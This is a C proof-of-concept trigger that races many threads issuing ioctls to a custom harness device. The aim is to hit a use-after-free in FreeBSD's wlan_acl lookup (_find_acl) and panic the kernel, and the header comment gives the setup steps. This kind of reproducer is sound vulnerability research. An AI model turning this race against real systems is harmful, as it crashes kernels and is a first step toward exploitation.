/*
 * DF-0733 userspace trigger — drives the real-kernel object-level harness.
 *
 * Hammers /dev/df0733 with DF0733_IOCTL_CHECK from many threads.  Each ioctl
 * invokes the REAL acl_check (lockless _find_acl) over as_hash[BUCKET] while
 * the module's adder+remover kthreads churn that bucket.  When the foreach
 * cursor is parked on an entry the remover frees, the next LIST_NEXT read
 * touches freed memory => UAF.  With INVARIANTS (default GENERIC) +
 * debug.use_malloc_pattern=1 the freed/poisoned le_next deref faults =>
 * kernel panic in _find_acl / acl_check.
 *
 * Usage: ./trigger [iters] [threads]
 * Pre:   kldload wlan ; kldload wlan_acl ; sysctl debug.use_malloc_pattern=1 ;
 *        kldload ./harness_mod.ko
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>

#define DF0733_IOCTL_CHECK	_IO('D', 2)

static volatile unsigned long total_calls;
static volatile int stop_flag;
static int g_fd;

static void *
racer(void *arg)
{
	unsigned long iters = (unsigned long)arg;
	unsigned long n = 0;

	while (!stop_flag) {
		if (ioctl(g_fd, DF0733_IOCTL_CHECK, NULL) == 0) {
			__sync_fetch_and_add(&total_calls, 1);
		}
		if (++n >= iters) { stop_flag = 1; break; }
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	unsigned long iters = (argc > 1) ? strtoul(argv[1], NULL, 0) : 2000000UL;
	int nthreads = (argc > 2) ? atoi(argv[2]) : 4;
	pthread_t *tids;
	int i;

	g_fd = open("/dev/df0733", O_RDWR);
	if (g_fd < 0) {
		perror("open /dev/df0733");
		fprintf(stderr, "Is harness_mod.ko loaded?  Run:\n"
			"  kldload wlan; kldload wlan_acl; "
			"sysctl debug.use_malloc_pattern=1; "
			"kldload ./harness_mod.ko\n");
		return 1;
	}
	tids = calloc(nthreads, sizeof(*tids));
	for (i = 0; i < nthreads; i++)
		pthread_create(&tids[i], NULL, racer,
			(void *)(iters / nthreads + 1));
	for (i = 0; i < nthreads; i++)
		pthread_join(tids[i], NULL);
	printf("trigger: %lu iac_check ioctls completed, no panic "
		"(if you see this, the race did not fire this run)\n",
		total_calls);
	close(g_fd);
	return 0;
}
